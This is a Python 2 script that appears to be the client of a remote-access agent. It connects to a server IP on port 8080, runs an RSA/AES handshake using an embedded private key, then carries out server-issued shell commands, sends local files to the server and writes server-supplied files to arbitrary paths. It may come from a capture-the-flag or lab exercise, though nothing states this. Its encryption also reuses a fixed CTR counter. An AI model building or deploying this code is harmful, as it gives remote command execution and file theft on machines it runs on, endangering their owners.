#!/usr/bin/python import socket import array import os import sys import random import struct import time import binascii import hashlib import subprocess from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Cipher import AES from Crypto.Util import Counter AGENT_GUID = hashlib.sha256(os.uname()[0] + os.uname()[1]).digest() AGENT_TYPE = 0x41424344 OPCODE_ERROR = 0x00000000 OPCODE_AUTH_STEP_0 = 0x12341234 OPCODE_AUTH_STEP_1 = 0x56785678 OPCODE_AUTH_STEP_2 = 0x9abc9abc OPCODE_OPERATE_SYS_ECHO = 0x80000001 OPCODE_OPERATE_LS = 0x00001000 OPCODE_OPERATE_CMDEXEC = 0x00002000 OPCODE_OPERATE_FILESEND_TO_S = 0x00011000 OPCODE_OPERATE_FILESEND_FROM_S = 0x00012000 RSA2048_CRYPTBLOCK_SIZE = 256 SESSION_PACKET_HEADER_SIZE = RSA2048_CRYPTBLOCK_SIZE + struct.calcsize('I') server_pubkey = '''-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuYQeGBSeVJUNfAxqRvYr TUHIxT1a4gHtKkQoQD7H0s8tqVmRBZcUvvueUfCu2S9UHXsnlpgBEKTZ5Zercaqz V7fkr1BjSMELCw/E/rV73giNiInoouD9qDf+ARYIzCNjdg73Or6uBhLLhK0Iw9l4 +bfngrGTXnxdaYF3UB95ArcNJuZ2vJ5PKH3uXC0MJIq8A5JsZY4aw8aNBcRmxZhl Nd8EtnI1ObxW/Vn6/zL3QtUytpOTcBEnfjrQIF/jl1qZA1qCkj5no0MhfCCUZ/mI kkVO+OvKCnmaxQpLwcx59852m29Q11cfOTBnigOupA7dvFpaXoaGxGtYBHQ3Acsy 2QIDAQAB -----END PUBLIC KEY----- ''' endpoint_pubkey = '''-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtp4Mi/JIDSO+H7vzKbJi U2z2BacQA76uH+VVPuh6ZXZMkmvm5u664Vg9sI78O3YVCSfq2vHqPQ7kixAuQ8fM i+gCbDpZyKgwE46EkzC6K1IOf/zMM//heYf39tzg6lCVKIGfGqgTNFVCLSncdzit oNIoZZFRA56vHg2OBo8ab7+LPDb/VxjSwRnoqKoTNEH88hC9v/zDiDHGY40ufDFI WQh3v2PzgrHIijf0sp598GseyvpgYJ8iA+C/CBsdwY7sGxLSOOljR/rOvV4fkwza y3UDQHNuHqUekh+lK0+PvR8p0zHXqQETg60yvVqCqmc3jDIGS/CeEa7oDV0P9SAg owIDAQAB -----END PUBLIC KEY----- ''' client_privatekey = '''-----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAsiPDT6aelLkZolwC+PjYgUSrPEYg5I/VmgRl+bBKWlBhgcrI j9D3bUG6FbhM/wdaTzpkNQzzPBqgbbWrEUDl/EDgd1HI34bgkc0d2EaI+lEYEHU6 bKY5EWOGUn7TEjEfgT6YRt4DngiKLe/QfTzryz3++58Sf/vVrDE54khSMUGvDmfo v3IDcr75MOmKhmTvr1/WazIkPV+qUNht8QyXfu2EB+uaTnBjYetU5Ac9AJ6EMEPC r1gldTY/jOmdEbq6MHl7p1pc2PcgsjdrqRj6NS41EiYCvbBKDlXYGd6OAbisEGAx ra6nrj7T731y62dZAtblly9zjrxPK4ANaRdJ+QIDAQABAoIBABcPkiUpiLXwEGV4 S9o3PK/fV9uBqJhuFlTN5PWh4L44UacfvT8A6kb2j0Roi28oYISJJpfHiWVqfQI2 1mJxaFRzgZtwtvRY3ZGCYC6zUuA0x0y6IEoYaqLZo3XifSiJu25b0BK8gvNeX6T6 up672DqDWBLy0M5Ip6yW4stsWVeO1c0yzB3yuM5r+R9UNU3Upfuspxa9gU846H8l bZV0NlhafgqB+e7Y5p2Ix+PnXVgWnV9LVyrMqk8pTMvjyR5dO+kBZ+Zgdfbt3J7L DH6mZ26Hcis4fPP4O3KHCqulFyS24zuFkAs/JVg69+wT2bfy1ttJrqv05p+WinXY UtqKrEECgYEA5gOslnRb348EmBB2p57pKNGQX4Ncq0zI29STMOiemwr0wgaURLud VqiglduoIACZDF66Z3wuueWgwp1pX23+LdxvyQWq7q1d2KHDgHAIuiPTfNYmDJaf 7ieDBguMmHjfManIPx/JYl9IAKfwRjsp/bH2QQi550MAKR7GU9vDfJUCgYEAxkPN v599QPF2zWnp4BEQuTfFe99d+ujMKdodgb5jQAbV7LO7YSK7OmUQKjERtVZSTvcN U0o4Wm1RS4jFAhIan7FrEtWTDlrL/PhxpaZUBQS3CEwX2r2JzG3uD+SQ4RUKAA+q yhiaDuR/0AyoZee+ay8Q3N911Q/VbvCE1o3DmtUCgYEAj2/5H7YeWPKSFdYmeG9D zV2qX7XGg1iV5WjSBWz7A4q4iYqayaYJ/zGXOvzJAnP8/VbRfZlWdjz5nIOXY5hv KuBNoZl0N/VLEb4G8cBr4NBYoX/WKIGB6H0hWxK2sZqm7QyIwLys1DjA6Q/RaaqZ jAh/nZy4ebwxjHMRkNf6N2UCgYEAwN1kYGu9ZFd/wgKtx5HSOtrN+NooidO8B1pu KbASzE3Z/BA6zxsCFqQJPYHOQCBgoQAirksc1ppQ4rGBM6p4y6/DAOdRzjz1AniL 1SAfy2Hyytd6vQZz7bFiS4OEi+/zcmvLMB0OgD43NyOZDMiKq6l1NecKsOBeNzUx g6UUCqECgYEA5MzleZZz20IY72JFfZg9wEBZHxs2Q10P9ER9cofcjW2+4njWbOmB QQGFaR/cHEXCEpYxrnecptGtIV+PfoN0/gGR8OuSofPZ0kVn810hJydJR9vvCiX5 PYqDflQ407+IM2Q4SRjbZIGIUJfR0glmz5wsaljGZvGr8X9s+tDUyVc= -----END RSA PRIVATE KEY----- ''' sessionkey = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" def random_string(length, maxval = 0xFF): return "".join(chr(random.randint(0, maxval)) for i in xrange(length)) def nonce_generator(): return random_string(4) def xor_stream(nonce, data): return "".join(chr((ord(data[i]) ^ ord(nonce[i % len(nonce)])) & 0xFF) for i in xrange(len(data))) def session_send(s, opcode, data): global sessionkey, server_pubkey, client_privatekey nonce = nonce_generator() ctr = Counter.new(128, initial_value=long("f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff",16)) packet_header = struct.pack('I', opcode) packet_header += struct.pack('I', len(data)) msg = nonce + xor_stream(nonce, packet_header) msg += AES.new(sessionkey, AES.MODE_CTR, counter = ctr).encrypt(data) return s.sendall(msg) def session_recv(s): global sessionkey, server_pubkey, client_privatekey ctr = Counter.new(128, initial_value=long("f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff",16)) nonce = s.recv(4) packet_header = xor_stream(nonce, s.recv(struct.calcsize('II'))) opcode = struct.unpack('I', packet_header[0:struct.calcsize('I')])[0] length = struct.unpack('I', packet_header[struct.calcsize('I'):struct.calcsize('II')])[0] msg = AES.new(sessionkey, AES.MODE_CTR, counter = ctr).decrypt(s.recv(length)) return opcode, length, msg def session_establish(s): global sessionkey srsa = PKCS1_OAEP.new(RSA.importKey(server_pubkey)) crsa = PKCS1_OAEP.new(RSA.importKey(client_privatekey)) X1 = random_string(16) session_send(s, OPCODE_AUTH_STEP_0, srsa.encrypt(X1 + AGENT_GUID + struct.pack('I', AGENT_TYPE))) opcode, length, X2 = session_recv(s) if length != RSA2048_CRYPTBLOCK_SIZE or opcode != OPCODE_AUTH_STEP_1: print "BAD AUTH1" quit() X2 = crsa.decrypt(X2) if len(X2) != 32: print "BAD AUTH1" quit() X1_v = X2[0:16] X2 = X2[16:32] if X1 != X1_v: print "BAD AUTH1" quit() session_send(s, OPCODE_AUTH_STEP_2, srsa.encrypt(X2)) sessionkey = hashlib.sha256(X1 + X2).digest() pass def sanitize(fn): nfn = '' allowed = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-' for ch in fn: if allowed.find(ch) == -1: nfn = nfn + '_' else: nfn = nfn + ch nfn = time.strftime("%Y-%m-%d_%H-%M-%S-", time.gmtime()) + nfn return nfn def handle_cmdexec(s, cmdline): p = subprocess.Popen(['/bin/sh -c ' + cmdline], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdoutdata, stderrdata = p.communicate() fn = sanitize(cmdline) data = struct.pack('I', len(fn)) data = data + fn + stdoutdata + stderrdata session_send(s, OPCODE_OPERATE_CMDEXEC, data) print '[CMDEXEC]\n\tFILENAME : %s\n\tCMD : %s (%s)' % (fn, cmdline, binascii.hexlify(cmdline)) pass def handle_filesend_to_s(s, fn): fd = open(fn, 'rb') data = fd.read(999999) fd.close() aeskey = random_string(32) ersa = PKCS1_OAEP.new(RSA.importKey(endpoint_pubkey)) head = ersa.encrypt(aeskey) ctr = Counter.new(128, initial_value=long("f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff",16)) data = AES.new(aeskey, AES.MODE_CTR, counter = ctr).encrypt(data) msg = head + struct.pack('I', len(fn)) + fn + data session_send(s, OPCODE_OPERATE_FILESEND_TO_S, msg) print '[FILESEND C->S]\n\tFILENAME : %s\n\tENDPOINT PROTECTION : True' % fn pass def handle_filesend_from_s(s, data): length = struct.unpack('I', data[0:struct.calcsize('I')])[0] fns = data[struct.calcsize('I'):struct.calcsize('I') + length].split('|') src = fns[0] drop_path = fns[1] fd = open(drop_path, 'w+b') fd.write(data[struct.calcsize('I') + length:]) fd.close() print '[FILESEND S->C]\n\tDROP PATH = %s\n\tENDPOINT PROTECTION : True' % (drop_path) pass def operate(s): opcode_map = dict() opcode_map[OPCODE_OPERATE_CMDEXEC] = handle_cmdexec opcode_map[OPCODE_OPERATE_FILESEND_TO_S] = handle_filesend_to_s opcode_map[OPCODE_OPERATE_FILESEND_FROM_S] = handle_filesend_from_s while True: try: opcode, length, data = session_recv(s) except: print '[DISCONNECTED]\n\tREASON : SOCKET ERROR' break if opcode_map.has_key(opcode): opcode_map[opcode](s, data) else: print '[DISCONNECTED]\n\tREASON : INVALID OPCODE = %.8x' % opcode if __name__ == '__main__': if len(sys.argv) != 2: print 'ip address please' quit() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], 8080)) session_establish(s) print 'ESTABLISHED, sk = %s' % binascii.hexlify(sessionkey) operate(s)